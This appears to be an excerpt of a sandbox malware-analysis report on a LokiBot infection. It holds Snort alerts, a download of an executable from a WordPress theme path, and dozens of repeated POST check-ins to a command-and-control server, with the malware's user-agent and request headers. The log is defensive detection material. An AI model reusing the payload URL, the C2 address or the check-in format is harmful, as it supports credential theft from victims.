Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49258 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49258 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49258 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49258 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49258
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49259 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49259 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49259 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49259 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49259
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49260 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49260 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49260 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49260 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49260
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49261 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49261 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49261 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49261 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49261
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49262 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49262 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49262 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49262 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49262
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49263 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49263 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49263 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49263 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49263
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49264 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49264 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49264 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49264 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49264
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49265 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49265 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49265 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49265 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49265
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49266 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49266 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49266 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49266 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49266
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49267 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.22:49267 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.22:49267 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.22:49267 -> 185.206.215.56:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 185.206.215.56:80 -> 192.168.2.22:49267
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.22:49268 -> 185.206.215.56:80

Source: global traffic

HTTP traffic detected: GET /wp-content/themes/index/QPR-3067.exe HTTP/1.1Host: bighoreca.nlConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 104.22.0.232 104.22.0.232

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: ON-LINE-DATAServerlocation-NetherlandsDrontenNL ON-LINE-DATAServerlocation-NetherlandsDrontenNL

Source: Joe Sandbox View

JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d

Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 149Connection: close
